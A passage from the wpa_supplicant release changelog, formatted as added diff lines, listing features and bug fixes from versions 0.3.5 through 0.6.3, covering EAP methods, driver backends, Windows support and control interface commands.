to avoid getting stuck in incorrect state [Bug 261] + * fixed opportunistic key caching (proactive_key_caching) + +2008-02-22 - v0.6.3 + * removed 'nai' and 'eappsk' network configuration variables that were + previously used for configuring user identity and key for EAP-PSK, + EAP-PAX, EAP-SAKE, and EAP-GPSK. 'identity' field is now used as the + replacement for 'nai' (if old configuration used a separate + 'identity' value, that would now be configured as + 'anonymous_identity'). 'password' field is now used as the + replacement for 'eappsk' (it can also be set using hexstring to + present random binary data) + * removed '-w' command line parameter (wait for interface to be added, + if needed); cleaner way of handling this functionality is to use an + external mechanism (e.g., hotplug scripts) that start wpa_supplicant + when an interface is added + * updated FT support to use the latest draft, IEEE 802.11r/D9.0 + * added ctrl_iface monitor event (CTRL-EVENT-SCAN-RESULTS) for + indicating when new scan results become available + * added new ctrl_iface command, BSS, to allow scan results to be + fetched without hitting the message size limits (this command + can be used to iterate through the scan results one BSS at the time) + * fixed EAP-SIM not to include AT_NONCE_MT and AT_SELECTED_VERSION + attributes in EAP-SIM Start/Response when using fast reauthentication + * fixed EAPOL not to end up in infinite loop when processing dynamic + WEP keys with IEEE 802.1X + * fixed problems in getting NDIS events from WMI on Windows 2000 + +2008-01-01 - v0.6.2 + * added support for Makefile builds to include debug-log-to-a-file + functionality (CONFIG_DEBUG_FILE=y and -f on command line) + * fixed EAP-SIM and EAP-AKA message parser to validate attribute + lengths properly to avoid potential crash caused by invalid messages + * added data structure for storing allocated buffers (struct wpabuf); + this does not affect wpa_supplicant usage, but many of the APIs + changed and various interfaces (e.g., EAP) is not compatible with old + versions + * added support for protecting EAP-AKA/Identity messages with + AT_CHECKCODE (optional feature in RFC 4187) + * added support for protected result indication with AT_RESULT_IND for + EAP-SIM and EAP-AKA (phase1="result_ind=1") + * added driver_wext workaround for race condition between scanning and + association with drivers that take very long time to scan all + channels (e.g., madwifi with dual-band cards); wpa_supplicant is now + using a longer hardcoded timeout for the scan if the driver supports + notifications for scan completion (SIOCGIWSCAN event); this helps, + e.g., in cases where wpa_supplicant and madwifi driver ended up in + loop where the driver did not even try to associate + * stop EAPOL timer tick when no timers are in use in order to reduce + power consumption (no need to wake up the process once per second) + [Bug 237] + * added support for privilege separation (run only minimal part of + wpa_supplicant functionality as root and rest as unprivileged, + non-root process); see 'Privilege separation' in README for details; + this is disabled by default and can be enabled with CONFIG_PRIVSEP=y + in .config + * changed scan results data structure to include all information + elements to make it easier to support new IEs; old get_scan_result() + driver_ops is still supported for backwards compatibility (results + are converted internally to the new format), but all drivers should + start using the new get_scan_results2() to make them more likely to + work with new features + * Qt4 version of wpa_gui (wpa_gui-qt4 subdirectory) is now native Qt4 + application, i.e., it does not require Qt3Support anymore; Windows + binary of wpa_gui.exe is now from this directory and only requires + QtCore4.dll and QtGui4.dll libraries + * updated Windows binary build to use Qt 4.3.3 and made Qt DLLs + available as a separate package to make wpa_gui installation easier: + http://w1.fi/wpa_supplicant/qt4/wpa_gui-qt433-windows-dll.zip + * added support for EAP-IKEv2 (draft-tschofenig-eap-ikev2-15.txt); + only shared key/password authentication is supported in this version + +2007-11-24 - v0.6.1 + * added support for configuring password as NtPasswordHash + (16-byte MD4 hash of password) in hash:<32 hex digits> format + * added support for fallback from abbreviated TLS handshake to + full handshake when using EAP-FAST (e.g., due to an expired + PAC-Opaque) + * updated EAP Generalized Pre-Shared Key (EAP-GPSK) to use the latest + draft (draft-ietf-emu-eap-gpsk-07.txt) + * added support for drivers that take care of RSN 4-way handshake + internally (WPA_DRIVER_FLAGS_4WAY_HANDSHAKE in get_capa flags and + WPA_ALG_PMK in set_key) + * added an experimental port for Mac OS X (CONFIG_DRIVER_OSX=y in + .config); this version supports only ap_scan=2 mode and allow the + driver to take care of the 4-way handshake + * fixed a buffer overflow in parsing TSF from scan results when using + driver_wext.c with a driver that includes the TSF (e.g., iwl4965) + [Bug 232] + * updated FT support to use the latest draft, IEEE 802.11r/D8.0 + * fixed an integer overflow issue in the ASN.1 parser used by the + (experimental) internal TLS implementation to avoid a potential + buffer read overflow + * fixed a race condition with -W option (wait for a control interface + monitor before starting) that could have caused the first messages to + be lost + * added support for processing TNCC-TNCS-Messages to report + recommendation (allow/none/isolate) when using TNC [Bug 243] + +2007-05-28 - v0.6.0 + * added network configuration parameter 'frequency' for setting + initial channel for IBSS (adhoc) networks + * added experimental IEEE 802.11r/D6.0 support + * updated EAP-SAKE to RFC 4763 and the IANA-allocated EAP type 48 + * updated EAP-PSK to use the IANA-allocated EAP type 47 + * fixed EAP-PAX key derivation + * fixed EAP-PSK bit ordering of the Flags field + * fixed EAP-PEAP/TTLS/FAST to use the correct EAP identifier in + tunnelled identity request (previously, the identifier from the outer + method was used, not the tunnelled identifier which could be + different) + * added support for fragmentation of outer TLS packets during Phase 2 + of EAP-PEAP/TTLS/FAST + * fixed EAP-TTLS AVP parser processing for too short AVP lengths + * added support for EAP-FAST authentication with inner methods that + generate MSK (e.g., EAP-MSCHAPv2 that was previously only supported + for PAC provisioning) + * added support for authenticated EAP-FAST provisioning + * added support for configuring maximum number of EAP-FAST PACs to + store in a PAC list (fast_max_pac_list_len= in phase1 string) + * added support for storing EAP-FAST PACs in binary format + (fast_pac_format=binary in phase1 string) + * fixed dbus ctrl_iface to validate message interface before + dispatching to avoid a possible segfault [Bug 190] + * fixed PeerKey key derivation to use the correct PRF label + * updated Windows binary build to link against OpenSSL 0.9.8d and + added support for EAP-FAST + * updated EAP Generalized Pre-Shared Key (EAP-GPSK) to use the latest + draft (draft-ietf-emu-eap-gpsk-04.txt) + * fixed EAP-AKA Notification processing to allow Notification to be + processed after AKA Challenge response has been sent + * updated to use IEEE 802.11w/D2.0 for management frame protection + (still experimental) + * fixed EAP-TTLS implementation not to crash on use of freed memory + if TLS library initialization fails + * added support for EAP-TNC (Trusted Network Connect) + (this version implements the EAP-TNC method and EAP-TTLS changes + needed to run two methods in sequence (IF-T) and the IF-IMC and + IF-TNCCS interfaces from TNCC) + +2006-11-24 - v0.5.6 + * added experimental, integrated TLSv1 client implementation with the + needed X.509/ASN.1/RSA/bignum processing (this can be enabled by + setting CONFIG_TLS=internal and CONFIG_INTERNAL_LIBTOMMATH=y in + .config); this can be useful, e.g., if the target system does not + have a suitable TLS library and a minimal code size is required + (total size of this internal TLS/crypto code is bit under 50 kB on + x86 and the crypto code is shared by rest of the supplicant so some + of it was already required; TLSv1/X.509/ASN.1/RSA added about 25 kB) + * removed STAKey handshake since PeerKey handshake has replaced it in + IEEE 802.11ma and there are no known deployments of STAKey + * updated EAP Generalized Pre-Shared Key (EAP-GPSK) to use the latest + draft (draft-ietf-emu-eap-gpsk-01.txt) + * added preliminary implementation of IEEE 802.11w/D1.0 (management + frame protection) + (Note: this requires driver support to work properly.) + (Note2: IEEE 802.11w is an unapproved draft and subject to change.) + * fixed Windows named pipes ctrl_iface to not stop listening for + commands if client program opens a named pipe and closes it + immediately without sending a command + * fixed USIM PIN status determination for the case that PIN is not + needed (this allows EAP-AKA to be used with USIM cards that do not + use PIN) + * added support for reading 3G USIM AID from EF_DIR to allow EAP-AKA to + be used with cards that do not support file selection based on + partial AID + * added support for matching the subjectAltName of the authentication + server certificate against multiple name components (e.g., + altsubject_match="DNS:server.example.com;DNS:server2.example.com") + * fixed EAP-SIM/AKA key derivation for re-authentication case (only + affects IEEE 802.1X with dynamic WEP keys) + * changed ctrl_iface network configuration 'get' operations to not + return password/key material; if these fields are requested, "*" + will be returned if the password/key is set, but the value of the + parameter is not exposed + +2006-08-27 - v0.5.5 + * added support for building Windows version with UNICODE defined + (wide-char functions) + * driver_ndis: fixed static WEP configuration to avoid race condition + issues with some NDIS drivers between association and setting WEP + keys + * driver_ndis: added validation for IELength value in scan results to + avoid crashes when using buggy NDIS drivers [Bug 165] + * fixed Release|Win32 target in the Visual Studio project files + (previously, only Debug|Win32 target was set properly) + * changed control interface API call wpa_ctrl_pending() to allow it to + return -1 on error (e.g., connection lost); control interface clients + will need to make sure that they verify that the value is indeed >0 + when determining whether there are pending messages + * added an alternative control interface backend for Windows targets: + Named Pipe (CONFIG_CTRL_IFACE=named_pipe); this is now the default + control interface mechanism for Windows builds (previously, UDP to + localhost was used) + * changed ctrl_interface configuration for UNIX domain sockets: + - deprecated ctrl_interface_group variable (it may be removed in + future versions) + - allow both directory and group be configured with ctrl_interface + in following format: DIR=/var/run/wpa_supplicant GROUP=wheel + - ctrl_interface=/var/run/wpa_supplicant is still supported for the + case when group is not changed + * added support for controlling more than one interface per process in + Windows version + * added a workaround for a case where the AP is using unknown address + (e.g., MAC address of the wired interface) as the source address for + EAPOL-Key frames; previously, that source address was used as the + destination for EAPOL-Key frames and in key derivation; now, BSSID is + used even if the source address does not match with it + (this resolves an interoperability issue with Thomson SpeedTouch 580) + * added a workaround for UDP-based control interface (which was used in + Windows builds before this release) to prevent packets with forged + addresses from being accepted as local control requests + * removed ndis_events.cpp and possibility of using external + ndis_events.exe; C version (ndis_events.c) is fully functional and + there is no desire to maintain two separate versions of this + implementation + * ndis_events: Changed NDIS event notification design to use WMI to + learn the adapter description through Win32_PnPEntity class; this + should fix some cases where the adapter name was not recognized + correctly (e.g., with some USB WLAN adapters, e.g., Ralink RT2500 + USB) [Bug 113] + * fixed selection of the first network in ap_scan=2 mode; previously, + wpa_supplicant could get stuck in SCANNING state when only the first + network for enabled (e.g., after 'wpa_cli select_network 0') + * winsvc: added support for configuring ctrl_interface parameters in + registry (ctrl_interface string value in + HKLM\SOFTWARE\wpa_supplicant\interfaces\0000 key); this new value is + required to enable control interface (previously, this was hardcoded + to be enabled) + * allow wpa_gui subdirectory to be built with both Qt3 and Qt4 + * converted wpa_gui-qt4 subdirectory to use Qt4 specific project format + +2006-06-20 - v0.5.4 + * fixed build with CONFIG_STAKEY=y [Bug 143] + * added support for doing MLME (IEEE 802.11 management frame + processing) in wpa_supplicant when using Devicescape IEEE 802.11 + stack (wireless-dev.git tree) + * added a new network block configuration option, fragment_size, to + configure the maximum EAP fragment size + * driver_ndis: Disable WZC automatically for the selected interface to + avoid conflicts with two programs trying to control the radio; WZC + will be re-enabled (if it was enabled originally) when wpa_supplicant + is terminated + * added an experimental TLSv1 client implementation + (CONFIG_TLS=internal) that can be used instead of an external TLS + library, e.g., to reduce total size requirement on systems that do + not include any TLS library by default (this is not yet complete; + basic functionality is there, but certificate validation is not yet + included) + * added PeerKey handshake implementation for IEEE 802.11e + direct link setup (DLS) to replace STAKey handshake + * fixed WPA PSK update through ctrl_iface for the case where the old + PSK was derived from an ASCII passphrase and the new PSK is set as + a raw PSK (hex string) + * added new configuration option for identifying which network block + was used (id_str in wpa_supplicant.conf; included on + WPA_EVENT_CONNECT monitor event and as WPA_ID_STR environmental + variable in wpa_cli action scripts; in addition WPA_ID variable is + set to the current unique identifier that wpa_supplicant assigned + automatically for the network and that can be used with + GET_NETWORK/SET_NETWORK ctrl_iface commands) + * wpa_cli action script is now called only when the connect/disconnect + status changes or when associating with a different network + * fixed configuration parser not to remove CCMP from group cipher list + if WPA-None (adhoc) is used (pairwise=NONE in that case) + * fixed integrated NDIS events processing not to hang the process due + to a missed change in eloop_win.c API in v0.5.3 [Bug 155] + * added support for EAP Generalized Pre-Shared Key (EAP-GPSK, + draft-clancy-emu-eap-shared-secret-00.txt) + * added Microsoft Visual Studio 2005 solution and project files for + build wpa_supplicant for Windows (see vs2005 subdirectory) + * eloop_win: fixed unregistration of Windows events + * l2_packet_winpcap: fixed a deadlock in deinitializing l2_packet + at the end of RSN pre-authentication and added unregistration of + a Windows event to avoid getting eloop_win stuck with an invalid + handle + * driver_ndis: added support for selecting AP based on BSSID + * added new environmental variable for wpa_cli action scripts: + WPA_CTRL_DIR is the current control interface directory + * driver_ndis: added support for using NDISUIO instead of WinPcap for + OID set/query operations (CONFIG_USE_NDISUIO=y in .config); with new + l2_packet_ndis (CONFIG_L2_PACKET=ndis), this can be used to build + wpa_supplicant without requiring WinPcap; note that using NDISUIO + requires that WZC is disabled (net stop wzcsvc) since NDISUIO allows + only one application to open the device + * changed NDIS driver naming to only include device GUID, e.g., + {7EE3EFE5-C165-472F-986D-F6FBEDFE8C8D}, instead of including WinPcap + specific \Device\NPF_ prefix before the GUID; the prefix is still + allowed for backwards compatibility, but it is not required anymore + when specifying the interface + * driver_ndis: re-initialize driver interface is the adapter is removed + and re-inserted [Bug 159] + * driver_madwifi: fixed TKIP and CCMP sequence number configuration on + big endian hosts [Bug 146] + +2006-04-27 - v0.5.3 + * fixed EAP-GTC response to include correct user identity when run as + phase 2 method of EAP-FAST (i.e., EAP-FAST did not work in v0.5.2) + * driver_ndis: Fixed encryption mode configuration for unencrypted + networks (some NDIS drivers ignored this, but others, e.g., Broadcom, + refused to associate with open networks) [Bug 106] + * driver_ndis: use BSSID OID polling to detect when IBSS network is + formed even when ndis_events code is included since some NDIS drivers + do not generate media connect events in IBSS mode + * config_winreg: allow global ctrl_interface parameter to be configured + in Windows registry + * config_winreg: added support for saving configuration data into + Windows registry + * added support for controlling network device operational state + (dormant/up) for Linux 2.6.17 to improve DHCP processing (see + http://www.flamewarmaster.de/software/dhcpclient/ for a DHCP client + that can use this information) + * driver_wext: added support for WE-21 change to SSID configuration + * driver_wext: fixed privacy configuration for static WEP keys mode + [Bug 140] + * added an optional driver_ops callback for MLME-SETPROTECTION.request + primitive + * added support for EAP-SAKE (no EAP method number allocated yet, so + this is using the same experimental type 255 as EAP-PSK) + * added support for dynamically loading EAP methods (.so files) instead + of requiring them to be statically linked in; this is disabled by + default (see CONFIG_DYNAMIC_EAP_METHODS in defconfig for information + on how to use this) + +2006-03-19 - v0.5.2 + * do not try to use USIM APDUs when initializing PC/SC for SIM card + access for a network that has not enabled EAP-AKA + * fixed EAP phase 2 Nak for EAP-{PEAP,TTLS,FAST} (this was broken in + v0.5.1 due to the new support for expanded EAP types) + * added support for generating EAP Expanded Nak + * try to fetch scan results once before requesting new scan when + starting up in ap_scan=1 mode (this can speed up initial association + a lot with, e.g., madwifi-ng driver) + * added support for receiving EAPOL frames from a Linux bridge + interface (-bbr0 on command line) + * fixed EAPOL re-authentication for sessions that used PMKSA caching + * changed EAP method registration to use a dynamic list of methods + instead of a static list generated at build time + * fixed PMKSA cache deinitialization not to use freed memory when + removing PMKSA entries + * fixed a memory leak in EAP-TTLS re-authentication + * reject WPA/WPA2 message 3/4 if it does not include any valid + WPA/RSN IE + * driver_wext: added fallback to use SIOCSIWENCODE for setting auth_alg + if the driver does not support SIOCSIWAUTH + +2006-01-29 - v0.5.1 + * driver_test: added better support for multiple APs and STAs by using + a directory with sockets that include MAC address for each device in + the name (driver_param=test_dir=/tmp/test) + * added support for EAP expanded type (vendor specific EAP methods) + * added AP_SCAN command into ctrl_iface so that ap_scan configuration + option can be changed if needed + * wpa_cli/wpa_gui: skip non-socket files in control directory when + using UNIX domain sockets; this avoids selecting an incorrect + interface (e.g., a PID file could be in this directory, even though + use of this directory for something else than socket files is not + recommended) + * fixed TLS library deinitialization after RSN pre-authentication not + to disable TLS library for normal authentication + * driver_wext: Remove null-termination from SSID length if the driver + used it; some Linux drivers do this and they were causing problems in + wpa_supplicant not finding matching configuration block. This change + would break a case where the SSID actually ends in '\0', but that is + not likely to happen in real use. + * fixed PMKSA cache processing not to trigger deauthentication if the + current PMKSA cache entry is replaced with a valid new entry + * fixed PC/SC initialization for ap_scan != 1 modes (this fixes + EAP-SIM and EAP-AKA with real SIM/USIM card when using ap_scan=0 or + ap_scan=2) + +2005-12-18 - v0.5.0 (beginning of 0.5.x development releases) + * added experimental STAKey handshake implementation for IEEE 802.11e + direct link setup (DLS); note: this is disabled by default in both + build and runtime configuration (can be enabled with CONFIG_STAKEY=y + and stakey=1) + * fixed EAP-SIM and EAP-AKA pseudonym and fast re-authentication to + decrypt AT_ENCR_DATA attributes correctly + * fixed EAP-AKA to allow resynchronization within the same session + * made code closer to ANSI C89 standard to make it easier to port to + other C libraries and compilers + * started moving operating system or C library specific functions into + wrapper functions defined in os.h and implemented in os_*.c to make + code more portable + * wpa_supplicant can now be built with Microsoft Visual C++ + (e.g., with the freely available Toolkit 2003 version or Visual + C++ 2005 Express Edition and Platform SDK); see nmake.mak for an + example makefile for nmake + * added support for using Windows registry for command line parameters + (CONFIG_MAIN=main_winsvc) and configuration data + (CONFIG_BACKEND=winreg); see win_example.reg for an example registry + contents; this version can be run both as a Windows service and as a + normal application; 'wpasvc.exe app' to start as applicant, + 'wpasvc.exe reg ' to register a service, + 'net start wpasvc' to start the service, 'wpasvc.exe unreg' to + unregister a service + * made it possible to link ndis_events.exe functionality into + wpa_supplicant.exe by defining CONFIG_NDIS_EVENTS_INTEGRATED + * added better support for multiple control interface backends + (CONFIG_CTRL_IFACE option); currently, 'unix' and 'udp' are supported + * fixed PC/SC code to use correct length for GSM AUTH command buffer + and to not use pioRecvPci with SCardTransmit() calls; these were not + causing visible problems with pcsc-lite, but Windows Winscard.dll + refused the previously used parameters; this fixes EAP-SIM and + EAP-AKA authentication using SIM/USIM card under Windows + * added new event loop implementation for Windows using + WaitForMultipleObject() instead of select() in order to allow waiting + for non-socket objects; this can be selected with + CONFIG_ELOOP=eloop_win in .config + * added support for selecting l2_packet implementation in .config + (CONFIG_L2_PACKET; following options are available now: linux, pcap, + winpcap, freebsd, none) + * added new l2_packet implementation for WinPcap + (CONFIG_L2_PACKET=winpcap) that uses a separate receive thread to + reduce latency in EAPOL receive processing from about 100 ms to about + 3 ms + * added support for EAP-FAST key derivation using other ciphers than + RC4-128-SHA for authentication and AES128-SHA for provisioning + * added support for configuring CA certificate as DER file and as a + configuration blob + * fixed private key configuration as configuration blob and added + support for using PKCS#12 as a blob + * tls_gnutls: added support for using PKCS#12 files; added support for + session resumption + * added support for loading trusted CA certificates from Windows + certificate store: ca_cert="cert_store://", where is + likely CA (Intermediate CA certificates) or ROOT (root certificates) + * added C version of ndis_events.cpp and made it possible to build this + with MinGW so that CONFIG_NDIS_EVENTS_INTEGRATED can be used more + easily on cross-compilation builds + * added wpasvc.exe into Windows binary release; this is an alternative + version of wpa_supplicant.exe with configuration backend using + Windows registry and with the entry point designed to run as a + Windows service + * integrated ndis_events.exe functionality into wpa_supplicant.exe and + wpasvc.exe and removed this additional tool from the Windows binary + release since it is not needed anymore + * load winscard.dll functions dynamically when building with MinGW + since MinGW does not yet include winscard library + +2005-11-20 - v0.4.7 (beginning of 0.4.x stable releases) + * l2_packet_pcap: fixed wired IEEE 802.1X authentication with libpcap + and WinPcap to receive frames sent to PAE group address + * disable EAP state machine when IEEE 802.1X authentication is not used + in order to get rid of bogus "EAP failed" messages + * fixed OpenSSL error reporting to go through all pending errors to + avoid confusing reports of old errors being reported at later point + during handshake + * fixed configuration file updating to not write empty variables + (e.g., proto or key_mgmt) that the file parser would not accept + * fixed ADD_NETWORK ctrl_iface command to use the same default values + for variables as empty network definitions read from config file + would get + * fixed EAP state machine to not discard EAP-Failure messages in many + cases (e.g., during TLS handshake) + * fixed a infinite loop in private key reading if the configured file + cannot be parsed successfully + * driver_madwifi: added support for madwifi-ng + * wpa_gui: do not display password/PSK field contents + * wpa_gui: added CA certificate configuration + * driver_ndis: fixed scan request in ap_scan=2 mode not to change SSID + * driver_ndis: include Beacon IEs in AssocInfo in order to notice if + the new AP is using different WPA/RSN IE + * use longer timeout for IEEE 802.11 association to avoid problems with + drivers that may take more than five second to associate + +2005-10-27 - v0.4.6 + * allow fallback to WPA, if mixed WPA+WPA2 networks have mismatch in + RSN IE, but WPA IE would match with wpa_supplicant configuration + * added support for named configuration blobs in order to avoid having + to use file system for external files (e.g., certificates); + variables can be set to "blob://" instead of file path to + use a named blob; supported fields: pac_file, client_cert, + private_key + * fixed RSN pre-authentication (it was broken in the clean up of WPA + state machine interface in v0.4.5) + * driver_madwifi: set IEEE80211_KEY_GROUP flag for group keys to make + sure the driver configures broadcast decryption correctly + * added ca_path (and ca_path2) configuration variables that can be used + to configure OpenSSL CA path, e.g., /etc/ssl/certs, for using the + system-wide trusted CA list + * added support for starting wpa_supplicant without a configuration + file (-C argument must be used to set ctrl_interface parameter for + this case; in addition, -p argument can be used to provide + driver_param; these new arguments can also be used with a + configuration to override the values from the configuration) + * added global control interface that can be optionally used for adding + and removing network interfaces dynamically (-g command line argument + for both wpa_supplicant and wpa_cli) without having to restart + wpa_supplicant process + * wpa_gui: + - try to save configuration whenever something is modified + - added WEP key configuration + - added possibility to edit the current network configuration + * driver_ndis: fixed driver polling not to increase frequency on each + received EAPOL frame due to incorrectly cancelled timeout + * added simple configuration file examples (in examples subdirectory) + * fixed driver_wext.c to filter wireless events based on ifindex to + avoid interfaces receiving events from other interfaces + * delay sending initial EAPOL-Start couple of seconds to speed up + authentication for the most common case of Authenticator starting + EAP authentication immediately after association + +2005-09-25 - v0.4.5 + * added a workaround for clearing keys with ndiswrapper to allow + roaming from WPA enabled AP to plaintext one + * added docbook documentation (doc/docbook) that can be used to + generate, e.g., man pages + * l2_packet_linux: use socket type SOCK_DGRAM instead of SOCK_RAW for + PF_PACKET in order to prepare for network devices that do not use + Ethernet headers (e.g., network stack with native IEEE 802.11 frames) + * use receipt of EAPOL-Key frame as a lower layer success indication + for EAP state machine to allow recovery from dropped EAP-Success + frame + * cleaned up internal EAPOL frame processing by not including link + layer (Ethernet) header during WPA and EAPOL/EAP processing; this + header is added only when transmitted the frame; this makes it easier + to use wpa_supplicant on link layers that use different header than + Ethernet + * updated EAP-PSK to use draft 9 by default since this can now be + tested with hostapd; removed support for draft 3, including + server_nai configuration option from network blocks + * driver_wired: add PAE address to the multicast address list in order + to be able to receive EAPOL frames with drivers that do not include + these multicast addresses by default + * driver_wext: add support for WE-19 + * added support for multiple configuration backends (CONFIG_BACKEND + option); currently, only 'file' is supported (i.e., the format used + in wpa_supplicant.conf) + * added support for updating configuration ('wpa_cli save_config'); + this is disabled by default and can be enabled with global + update_config=1 variable in wpa_supplicant.conf; this allows wpa_cli + and wpa_gui to store the configuration changes in a permanent store + * added GET_NETWORK ctrl_iface command + (e.g., 'wpa_cli get_network 0 ssid') + +2005-08-21 - v0.4.4 + * replaced OpenSSL patch for EAP-FAST support + (openssl-tls-extensions.patch) with a more generic and correct + patch (the new patch is not compatible with the previous one, so the + OpenSSL library will need to be patched with the new patch in order + to be able to build wpa_supplicant with EAP-FAST support) + * added support for using Windows certificate store (through CryptoAPI) + for client certificate and private key operations (EAP-TLS) + (see wpa_supplicant.conf for more information on how to configure + this with private_key) + * ported wpa_gui to Windows + * added Qt4 version of wpa_gui (wpa_gui-qt4 directory); this can be + built with the open source version of the Qt4 for Windows + * allow non-WPA modes (e.g., IEEE 802.1X with dynamic WEP) to be used + with drivers that do not support WPA + * ndis_events: fixed Windows 2000 support + * added support for enabling/disabling networks from the list of all + configured networks ('wpa_cli enable_network ' and + 'wpa_cli disable_network ') + * added support for adding and removing network from the current + configuration ('wpa_cli add_network' and 'wpa_cli remove_network + '); added networks are disabled by default and they can + be enabled with enable_network command once the configuration is done + for the new network; note: configuration file is not yet updated, so + these new networks are lost when wpa_supplicant is restarted + * added support for setting network configuration parameters through + the control interface, for example: + wpa_cli set_network 0 ssid "\"my network\"" + * fixed parsing of strings that include both " and # within double + quoted area (e.g., "start"#end") + * added EAP workaround for PEAP session resumption: allow outer, + i.e., not tunneled, EAP-Success to terminate session since; this can + be disabled with eap_workaround=0 + (this was allowed for PEAPv1 before, but now it is also allowed for + PEAPv0 since at least one RADIUS authentication server seems to be + doing this for PEAPv0, too) + * wpa_gui: added preliminary support for adding new networks to the + wpa_supplicant configuration (double click on the scan results to + open network configuration) + +2005-06-26 - v0.4.3 + * removed interface for external EAPOL/EAP supplicant (e.g., + Xsupplicant), (CONFIG_XSUPPLICANT_IFACE) since it is not required + anymore and is unlikely to be used by anyone + * driver_ndis: fixed WinPcap 3.0 support + * fixed build with CONFIG_DNET_PCAP=y on Linux + * l2_packet: moved different implementations into separate files + (l2_packet_*.c) + +2005-06-12 - v0.4.2 + * driver_ipw: updated driver structures to match with ipw2200-1.0.4 + (note: ipw2100-1.1.0 is likely to require an update to work with + this) + * added support for using ap_scan=2 mode with multiple network blocks; + wpa_supplicant will go through the networks one by one until the + driver reports a successful association; this uses the same order for + networks as scan_ssid=1 scans, i.e., the priority field is ignored + and the network block order in the file is used instead + * fixed a potential issue in RSN pre-authentication ending up using + freed memory if pre-authentication times out + * added support for matching alternative subject name extensions of the + authentication server certificate; new configuration variables + altsubject_match and altsubject_match2 + * driver_ndis: added support for IEEE 802.1X authentication with wired + NDIS drivers + * added support for querying private key password (EAP-TLS) through the + control interface (wpa_cli/wpa_gui) if one is not included in the + configuration file + * driver_broadcom: fixed couple of memory leaks in scan result + processing + * EAP-PAX is now registered as EAP type 46 + * fixed EAP-PAX MAC calculation + * fixed EAP-PAX CK and ICK key derivation + * added support for using password with EAP-PAX (as an alternative to + entering key with eappsk); SHA-1 hash of the password will be used as + the key in this case + * added support for arbitrary driver interface parameters through the + configuration file with a new driver_param field; this adds a new + driver_ops function set_param() + * added possibility to override l2_packet module with driver interface + API (new send_eapol handler); this can be used to implement driver + specific TX/RX functions for EAPOL frames + * fixed ctrl_interface_group processing for the case where gid is + entered as a number, not group name + * driver_test: added support for testing hostapd with wpa_supplicant + by using test driver interface without any kernel drivers or network + cards + +2005-05-22 - v0.4.1 + * driver_madwifi: fixed WPA/WPA2 mode configuration to allow EAPOL + packets to be encrypted; this was apparently broken by the changed + ioctl order in v0.4.0 + * driver_madwifi: added preliminary support for compiling against 'BSD' + branch of madwifi CVS tree + * added support for EAP-MSCHAPv2 password retries within the same EAP + authentication session + * added support for password changes with EAP-MSCHAPv2 (used when the + password has expired) + * added support for reading additional certificates from PKCS#12 files + and adding them to the certificate chain + * fixed association with IEEE 802.1X (no WPA) when dynamic WEP keys + were used + * fixed a possible double free in EAP-TTLS fast-reauthentication when + identity or password is entered through control interface + * display EAP Notification messages to user through control interface + with "CTRL-EVENT-EAP-NOTIFICATION" prefix + * added GUI version of wpa_cli, wpa_gui; this is not build + automatically with 'make'; use 'make wpa_gui' to build (this requires + Qt development tools) + * added 'disconnect' command to control interface for setting + wpa_supplicant in state where it will not associate before + 'reassociate' command has been used + * added support for selecting a network from the list of all configured + networks ('wpa_cli select_network '; this disabled all + other networks; to re-enable, 'wpa_cli select_network any') + * added support for getting scan results through control interface + * added EAP workaround for PEAPv1 session resumption: allow outer, + i.e., not tunneled, EAP-Success to terminate session since; this can + be disabled with eap_workaround=0 + +2005-04-25 - v0.4.0 (beginning of 0.4.x development releases) + * added a new build time option, CONFIG_NO_STDOUT_DEBUG, that can be + used to reduce the size of the wpa_supplicant considerably if + debugging code is not needed + * fixed EAPOL-Key validation to drop packets with invalid Key Data + Length; such frames could have crashed wpa_supplicant due to buffer + overflow + * added support for wired authentication (IEEE 802.1X on wired + Ethernet); driver interface 'wired' + * obsoleted set_wpa() handler in the driver interface API (it can be + replaced by moving enable/disable functionality into init()/deinit()) + (calls to set_wpa() are still present for backwards compatibility, + but they may be removed in the future) + * driver_madwifi: fixed association in plaintext mode + * modified the EAP workaround that accepts EAP-Success with incorrect + Identifier to be even less strict about verification in order to + interoperate with some authentication servers + * added support for sending TLS alerts + * added support for 'any' SSID wildcard; if ssid is not configured or + is set to an empty string, any SSID will be accepted for non-WPA AP + * added support for asking PIN (for SIM) from frontends (e.g., + wpa_cli); if a PIN is needed, but not included in the configuration + file, a control interface request is sent and EAP processing is + delayed until the PIN is available + * added support for using external devices (e.g., a smartcard) for + private key operations in EAP-TLS (CONFIG_SMARTCARD=y in .config); + new wpa_supplicant.conf variables: + - global: opensc_engine_path, pkcs11_engine_path, pkcs11_module_path + - network: engine, engine_id, key_id + * added experimental support for EAP-PAX + * added monitor mode for wpa_cli (-a) that + allows external commands (e.g., shell scripts) to be run based on + wpa_supplicant events, e.g., when authentication has been completed + and data connection is ready; other related wpa_cli arguments: + -B (run in background), -P (write PID file); wpa_supplicant has a new + command line argument (-W) that can be used to make it wait until a + control interface command is received in order to avoid missing + events + * added support for opportunistic WPA2 PMKSA key caching (disabled by + default, can be enabled with proactive_key_caching=1) + * fixed RSN IE in 4-Way Handshake message 2/4 for the case where + Authenticator rejects PMKSA caching attempt and the driver is not + using assoc_info events + * added -P argument for wpa_supplicant to write the current + process id into a file + +2005-02-12 - v0.3.7 (beginning of 0.3.x stable releases) + * added new phase1 option parameter, include_tls_length=1, to force + wpa_supplicant to add TLS Message Length field to all TLS messages + even if the packet is not fragmented; this may be needed with some + authentication servers + * fixed WPA/RSN IE verification in message 3 of 4-Way Handshake when + using drivers that take care of AP selection (e.g., when using + ap_scan=2) + * fixed reprocessing of pending request after ctrl_iface requests for + identity/password/otp + * fixed ctrl_iface requests for identity/password/otp in Phase 2 of + EAP-PEAP and EAP-TTLS + * all drivers using driver_wext: set interface up and select Managed + mode when starting wpa_supplicant; set interface down when exiting + * renamed driver_ipw2100.c to driver_ipw.c since it now supports both + ipw2100 and ipw2200; please note that this also changed the + configuration variable in .config to CONFIG_DRIVER_IPW + +2005-01-24 - v0.3.6 + * fixed a busy loop introduced in v0.3.5 for scan result processing + when no matching AP is found + +2005-01-23 - v0.3.5 + * added a workaround for an interoperability issue with a Cisco AP + when using WPA2-PSK + * fixed non-WPA IEEE 802.1X to use the same authentication timeout as + WPA with IEEE 802.1X (i.e., timeout 10 -> 70 sec to allow + retransmission of dropped frames) + * fixed issues with 64-bit CPUs and SHA1 cleanup in previous version + (e.g., segfault when processing EAPOL-Key frames) + * fixed EAP workaround and fast reauthentication configuration for + RSN pre-authentication; previously these were disabled and + pre-authentication would fail if the used authentication server + requires EAP workarounds + * added support for blacklisting APs that fail or timeout + authentication in ap_scan=1 mode so that all APs are tried in cases + where the ones with strongest signal level are failing authentication + * fixed CA certificate loading after a failed 